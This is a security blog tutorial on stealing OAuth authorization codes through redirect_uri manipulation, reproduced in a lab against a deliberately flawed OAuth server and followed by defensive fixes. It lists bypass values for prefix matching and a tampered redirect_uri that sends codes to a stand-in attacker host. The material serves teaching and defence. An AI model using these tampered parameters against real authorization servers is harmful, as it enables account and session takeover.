2026-07-11 · oauth · redirect-uri · flawedtoken

Redirect URI Manipulation: Stealing the Authorization Code at the Door

By Tom Stacy, CISSP®

cctbp.com | Tom Stacy, CISSP®


Setup: where the code gets delivered

In the last post we built an isolated, scriptable interception lab: mitmproxy sitting in front of a browser inside a containerized, egress-controlled environment, with mitmweb as the interactive interface. That lab was the groundwork. This post is the first real attack we run inside it.

The target is the OAuth 2.0 authorization code flow, and specifically one parameter in it: redirect_uri.

A quick refresher on the flow, from the attacker’s seat. The client sends the user’s browser to the authorization server with a request that looks like this:

GET /authorize?response_type=code
  &client_id=flawed-client
  &redirect_uri=https://client.local/callback
  &scope=profile
  &state=xyz123 HTTP/1.1
Host: auth.local

The authorization server authenticates the user, gets consent, and sends the browser back to the redirect_uri carrying the prize:

HTTP/1.1 302 Found
Location: https://client.local/callback?code=SplxlOBeZQ&state=xyz123

The client’s backend then exchanges that code at the token endpoint for an access token. Everything downstream, the token, the session, the account, hangs off that authorization code arriving at the right place.

The redirect_uri is what decides “the right place.” That makes it an authorization decision wearing the costume of a routing convenience.

The Seam: validation that is present but not strict

The OAuth spec is unambiguous here. The authorization server must validate the redirect_uri in the authorization request against a value the client pre-registered, and RFC 6749 calls for exact matching. In practice this is one of the most consistently weakened controls in real deployments, because “exact” is inconvenient during development and the shortcuts survive into production.

The failure modes worth knowing:

  • No validation at all. The server accepts whatever redirect_uri it is handed. Rare in mature products, common in internal tools and anything built quickly.
  • Prefix or startsWith matching. The server registered https://client.local/callback and checks that the incoming value begins with it. An attacker supplies https://client.local/callback.attacker.com/ or https://client.local/callback/../../evil, and the check passes.
  • Wildcard subdomains. A registration like https://*.client.local/callback turns any subdomain takeover, or any forgotten dev subdomain, into a code sink.
  • Open redirect on the registered host. The redirect_uri matches exactly, but the registered page contains an open redirect that forwards the code on to an attacker-controlled destination.

Every one of these ends the same way: the authorization code, and whatever it unlocks, is delivered somewhere the client never intended.

Reproducing It: FlawedToken, flaw-02, in the lab

FlawedToken is a deliberately broken OAuth client and authorization server with each flaw toggled by an environment variable. It is the target we will point the lab at. The relevant toggle here is FLAW_REDIRECT_URI_VALIDATION, which ships on, meaning the misconfiguration is active by default and the server performs no strict validation.

Stand it up:

git clone https://github.com/tstacy/flawedtoken.git
cd flawedtoken
cp .env.example .env
# confirm FLAW_REDIRECT_URI_VALIDATION=on in .env
docker compose up

Point your lab browser through mitmweb at the client, and start a normal login. You will see the authorization request go out with the legitimate redirect_uri. Now intercept that request in mitmweb and change one thing:

# original
redirect_uri=http://localhost:8000/callback

# tampered
redirect_uri=http://attacker.local:9000/callback

Forward the request. Because validation is disabled, the authorization server accepts the substituted destination, and the 302 that comes back carries the authorization code to the attacker-controlled URI instead of the client:

HTTP/1.1 302 Found
Location: http://attacker.local:9000/callback?code=a1b2c3d4&state=xyz123

Stand up anything that logs requests on attacker.local:9000 (a second mitmdump instance is convenient) and you will capture the code as it lands. The authorization server did exactly what it was told, because nothing told it the destination was wrong.

That is the entire attack. There is no memory corruption, no cracked crypto, just a control that was supposed to be strict and was not.

Defender Perspective: making the door pick exact locks

Flip the toggle and watch it fail correctly. Note that the variable names the flaw, not the control, so off disables the flaw and turns strict validation back on. The toggle is read from .env at runtime, so you recreate the containers rather than rebuild the image:

# in .env
FLAW_REDIRECT_URI_VALIDATION=off
docker compose up --force-recreate

With the flaw disabled, the authorization server checks the incoming redirect_uri against the client’s registered allow-list by exact match, rejects the tampered value, and returns 400 invalid_redirect_uri with no code issued. That is the target state. Getting there in a real system means:

  • Exact-match allow-listing. Register complete, literal redirect URIs and compare by exact string. No prefix matching, no startsWith, no substring logic.
  • No wildcards. Enumerate every legitimate redirect_uri explicitly. If a subdomain does not have a reason to receive codes, it does not belong on the list.
  • PKCE as defense in depth, not as a substitute. PKCE binds the authorization code to the client instance that began the flow, so an intercepted code cannot be exchanged by an attacker who lacks the verifier. That is worth having. But PKCE does not stop a code from being delivered to the wrong destination, and it does not replace redirect_uri validation. Exact matching is still the primary control against manipulation. Treat them as two separate layers.
  • Detection. Log the redirect_uri on every authorization request and alert on any value that is not an exact registered match. A spike of near-miss URIs (registered host with an extra suffix, unexpected ports, lookalike subdomains) is a probing signature worth catching before it succeeds.

The uncomfortable part for defenders is that this control is invisible when it works and silent when it fails. Nothing crashes. The flow completes. The only difference is who received the code, and that is not something the user or the client sees.

Takeaway

redirect_uri is not routing metadata. It is the authorization server deciding who is allowed to receive the keys to a session, and any validation weaker than exact matching hands that decision to whoever is willing to tamper with a request. In the lab this took one intercepted parameter. In production it takes the same.


🚀 Want to run these flows yourself? The FlawedToken lab is open source — clone it, toggle the flaws, and reproduce every scenario in this series. For the wider Zero Trust picture, see the five pillars.


Tom Stacy, CISSP®, is an authentication and identity security specialist. He writes at cctbp.com and builds ShroudCloud™, a detection engine for PII and secrets in documents, logs, and AI pipelines.